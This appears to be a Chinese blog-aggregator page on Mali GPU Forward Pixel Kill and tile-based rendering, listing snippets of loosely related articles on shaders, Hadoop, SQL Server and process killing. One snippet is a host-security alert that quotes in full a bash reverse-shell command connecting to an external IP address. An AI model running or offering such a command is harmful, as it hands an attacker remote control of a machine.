mali tbr Forward Pixel Kill】的更多相关文章

https://community.arm.com/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-20-66/siggraph2015_2D00_mmg_2D00_andy_2D00_slides.pdf Forward Pixel Kill mali上面的hsr 本质上是用earlyz 这原理是啥 为啥 不需要排序…
http://www.seas.upenn.edu/~pcozzi/OpenGLInsights/OpenGLInsights-TileBasedArchitectures.pdf tbr 和tbdr是gpu的一种架构 硬件层面的事情和deferred shading是两回事 有关blend的开销 immediate模式 要走相对较慢的 memory   read-modify-write framebuffer tile based模式 就在on chip tile buffer上用专门的硬件…
目录 12.4 移动渲染技术要点 12.4.1 Tile-based (Deferred) Rendering 12.4.2 Hierarchical Tiling 12.4.3 Early-Z 12.4.4 Transaction Elimination 12.4.5 Forward Pixel Kill 12.4.6 Hidden Surface Removal 12.4.7 Low Resolution Z pass 12.4.8 FlexRender 12.4.9 Universal B…
1.先来一段单张纹理贴图的shader示例代码: // Upgrade NOTE: replaced 'mul(UNITY_MATRIX_MVP,*)' with 'UnityObjectToClipPos(*)' Shader "Custom/MyShader"{ Properties{ //外部可调属性 _MainTex ("Main Tex", 2D) = "white" {} } SubShader { //设置使用本Subshader所…
I'd never given much thought to how I would die — 我从来没有想过我会怎么样死 much thought 仔细思考 我从未仔细思考过,我将如何死去 though I'd had reason enough in the last few months — 尽管在最后的几个月我有足够的理由 but even if I had, I would not have imagined it like this. 但是即使我有,我也不会想象到会像这样. I…
这是我的分析,当然查阅书籍和网络.如有什么不对的,请各位批评指正.以下的类有的并不完全,只列出重要的方法. 如要转载,请注上作者以及出处. 一.源码阅读环境 需要安装jdk1.7.0版本及其以上版本,还需要安装Eclipse阅读hadoop源码. Eclipse安装教程参见我的博客. Hadoop源码官网下载.我下载的是2.7.3版本的.其中source是源代码工程,需要你编译才能执行.而binary是编译好的克执行文件. 如果你要搭建Hadoop集群,则下载binary的.如果阅读源代码,下载…
近几天啃各种新技术时又一个蛋疼的副产品...额,算是把AMD的Forward+ Sample抄了一遍吧. 其实个人感觉这个AMD大肆宣传的Forward+跟Intel很早之前提的Tiled-Based Deferred Rendering没多大区别,本质上应该就是后者的Forward实现而已.其基本流程可以如下描述: 1. Pre-Z Pass: 渲染物体深度信息到纹理.(很多Forward Pipeline也会做这一步,以提前剔除被遮挡的pixel, 减小shading时的计算量) 2. Ti…
正向渲染路径细节 Forward Rendering Path Details Forward Rendering path renders each object in one or more passes, depending on lights that affect the object. Lights themselves are also treated differently by Forward Rendering, depending on their settings and…
/*************************************************************************** * FFmpeg 'scale' filter not present, cannot convert pixel formats. * 说明: * 使用FFmpeg的过程中遇到这个问题,记录一下解决办法. * * 2017-2-6 深圳 南山平山村 曾剑锋 *******************************************…
Forward Rendering 正向渲染        正向渲染一个基于着色器的渲染路径.它支持逐像素计算光照(包括法线贴图和灯光Cookies)和来自一个平行光的实时阴影.在默认设置中,少数最亮的灯光在逐像素计算光照模式下渲染.其余的灯光计算对象顶点的光照.        根据影响物体的光源的不同,正向渲染路径用单个或多个通道来渲染物体.在正向渲染中,光源本身也会根据他们的设置和强度受到不同的对待.实现细节        在正向渲染中,影响物体的最亮的几个光源使用逐像素光照模式.接下来,最…
http://www.ceeger.com/Components/RenderTech-ForwardRendering.html This page describes details of Forward rendering path. 本章节描述了正向渲染路径的细节. Forward Rendering path renders each object in one or more passes, depending on lights that affect the object. Li…
1. 经常使用优化工具 watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvTXlBcnJvdw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast" alt="" style="border: none; max-width: 100%;" /> 2. 经常使用优化方案 OpenGL ES优化的主要工作是在图形…
https://community.arm.com/developer/tools-software/graphics/b/blog/posts/accelerating-mali-gpu-analysis-using-arm-mobile-studio?_ga=2.63595119.1707627554.1563937012-2006915827.1543458513 数据很全很开心 下面的问题就是 怎么能连手机跑起来... 这里带宽数据给的好详细啊 load/store texture ti…
如何让手游更省带宽,耗电量更少?渲染或是其中一个可突破的点.本文中,腾讯游戏学院专家Hailong将从为大家解析TBR渲染架构的特点. 什么是TBR? 全称是Tile Based Rendering,主要用在移动设备(手机.平板)上的一种渲染架构,渲染时将屏幕分割成小块,分别渲染.每块大小为16×16 或32×32等(不同产品各不相同),特点是省带宽,耗电小. 与之对应的是IMR(Immediate Mode Rendering),提交的每个渲染要求都会立即开始,这是一种简单而又粗暴的思路,优点…
进程异常行为-反弹Shell攻击 父进程名称:bash 进程名称:bash 进程名称:/usr/bin/bash 进程id:23,077 命令行参数:sh -c /bin/bash -i >& /dev/tcp/27.255.72.119/4451 0>&1 说明:黑客利用远程代码执行漏洞或者恶意木马向中控服务器建立反向TCP连接,连接建立后,黑客可利用该连接远程执行任意系统指令,严重危害主机安全. 解决方案:建议立即KILL该可疑反弹SHELL进程,并及时清理计划任务中的恶意…
在ORACLE数据库当中,有时候会使用ALTER SYSTEM KILL SESSION 'sid,serial#'杀掉一个会话进程,但是使用这个SQL语句杀掉会话后,数据库并不会立即释放掉相关的资源,有时候你会发现锁定的资源很长时间也不会释放,即使会话状态为"KILLED",依然会阻塞其它会话. 下面根据Eygel的"Oracle中Kill session的研究",构造一个案例看看kill session到底做了什么.如下所示 会话1: SQL> conn…
今天遇到一个很奇怪的情况,发现一个会话异常,这个会话只是在执行一个简单的存储过程,里面使用了链接服务器(Linked Server)查询另外一台服务器数据(存储过程里面没有任何显性事务.UPDATE.DELETE操作,只有几个简单的SELECT查询,其中有两个查询使用了链接服务器Linked Server,由于生产环境,不好贴出SQL语句),在DPA监控工具里面,发现该会话引起了非常长的OLEDB等待时间,手工执行测试,发现并不耗费很长时间,KILL该会话后, 回滚状态已完成一直是0%, 估计剩…
世事并无好坏之分,全看我们怎么去想.—— 哈姆雷特·第二幕第二景 ilocker:关注 Android 安全(新入行,0基础) QQ: 2597294287 #include <signal.h> int kill(pid_t pid, int signo); 用于给指定的进程或进程组发送信号.成功返回 0,出错返回 -1. pid > 0:将信号发送给进程 ID 为 pid 的进程. pid == 0:将信号发送给与发送进程属于同一进程组的所有进程. pid < 0:将信号发送给…
*杀死进程最安全的方法是单纯使用kill命令,不加修饰符,不带标志.   首先使用ps -ef命令确定要杀死进程的PID,然后输入以下命令:   # kill -pid   注释:标准的kill命令通常都能达到目的.终止有问题的进程,并把进程的资源释放给系统.然而,如果进程启动了子进程,只杀死父进程,子进程仍在运行,因此仍消耗资源.为了防止这些所谓的"僵尸进程",应确保在杀死父进程之前,先杀死其所有的子进程.   *确定要杀死进程的PID或PPID   # ps -ef | grep…
明天开始学习kill函数的用法. ---------------------------------------------- kill函数可以用来向指定的进程发送一个指定的信号,在我的理解的来看,就是人为的创造一个中断. 该函数原形:int kill(pid_t pid,int sig); 其中pid为进程ID,sig为发送的信号. 这个函数超级简单,现在做个试验,首先创建一个父进程和子进程,然后父进程向子进程发送一个SIGINT信号,子进程给出一个回应. #include<stdio.h>…
Atitit  图像处理Depixelizing Pixel Art像素风格画的矢量化 在去年的时候,偶然看到hqx算法. 一个高质量的插值放大算法. 与双线性插值等插值算法相比,这个算法放大后对人眼保护相对比较好. 没有双线性插值看起来模糊,固然,也抽空把算法简单优化了一下. 常规的图像填充采样放大 "经典"的图像填充采样放大,应用线性滤波器,或导出于分析插值理论.或导出于信号处理理论.使用滤波器的实例,比如"最近邻,Bicubic和Lancosz [ Wolberg 19…
最近发现一个分页查询存储过程中的的一个SQL语句,当聚集索引列的排序方式不同的时候,效率差别达到数十倍,让我感到非常吃惊 由此引发出来分页查询的情况下对大表做Clustered Scan的时候, 不同情况下会选择FORWARD 或者 BACKWARD差别,以及建立聚集索引时,选择索引列的排序方式的一些思考 废话不多,上代码 先建立一张测试表,在Col1上建立聚集索引,写入100W条数据 本文一开始没有搭建出一个更具备说服力的环境,导致效果不明显,于2016-7-23重新编辑,重建造一个更接近于真…
用户向服务器发送了一次HTTP请求,该请求可能会经过多个信息资源处理以后才返回给用户,各个信息资源使用请求转发机制相互转发请求,但是用户是感觉不到请求转发的.根据转发方式的不同,可以区分为直接请求转发(Forward)和间接请求转发(Redirect),那么这两种转发方式有何区别呢?本篇在回答该问题的同时全面的讲解两种请求转发方式的原理和区别. [出现频率]  [关键考点] 请求转发的含义: Forward转发请求的原理: Redirect转发请求的原理. [考题分析] Forward和Redi…
查询出来 select        request_session_id spid,       OBJECT_NAME(resource_associated_entity_id) tableName    from        sys.dm_tran_locks   where        resource_type='OBJECT 杀死死锁进程 kill spid 另: exec master.dbo.sp_who_lock --查看当前死锁进程 exec master.dbo.p_…
如何保证Service在后台不被kill 相信很多Android开发者在面试过程中会经常被问到“如何保证Service在后台不被kill”这个问题,总结了下一些大神给的答案. 引用知乎Android Developer的一句话:强烈建议不要这么做,不仅仅从用户角度考虑,作为Android开发者也有责任去维护Android的生态环境.现在很多Android开发工程师,主力机居然是iPhone而不是Android设备,感到相当悲哀. 资料来源: http://www.zhihu.com/questi…
Redirect Forward 不同的request 不同的对象,但是可以渠道上一个页面的内容 send后面的语句会继续执行,除非return Forward后面的语句不会继续发送给客户端 速度慢 速度快 需要到客户端的往返,可以跳转到任何页面 服务器内部转换 地址栏有变化 地址栏没有变化 可以传参数,直接写在URL后面 可以传参数 / 代表的是http://127.0.0.0/<%response.sendRedirect();%><form action="/test/S…
1 sendRedirect response.sendRedirect(); 服务器根据逻辑,发送一个状态码,告诉浏览器重新去请求新的地址,一般来说浏览器会用刚才请求的所有参数重新请求,所以session,request参数都可以获取.注意:使用request.setAttribute的内容,不能读取了.因为不是同一个请求了.如图所示   2  forward     (1) 在servlet里面 request.getRequestDispatcher("jsp2.jsp").fo…
片元着色器(Fragment Shader)被称为像素着色器(Pixel Shader),但片元着色器是一个更合适的名字, 因为此时的片元并不是一个真正意义上的像素.…
这里我要说的就是Vector3.forward ,它等价与 new Vector3(0,0,1):它并不是一个坐标,它是一个标准向量,方向是沿着Z轴向前.这样平移一次的距离就是1米, 如果 Vector3.forward * 100那么一次平移的距离就是100米.  http://www.tuicool.com/articles/fQrQBb…
forward指令用于将页面响应转发到另外的页面.既可以转发到静态的HTML页面,也可以转发到动态的JSP页面,或者转发到容器中的Servlet. forward指令格式如下: <jsp:forward page="{relativeURL|<%=expression%>}"> {jsp:param..../>} </jsp:forward> jsp: param用于在转发时增加额外的请求参数.请求参数的值可以通过HttpServletRequ…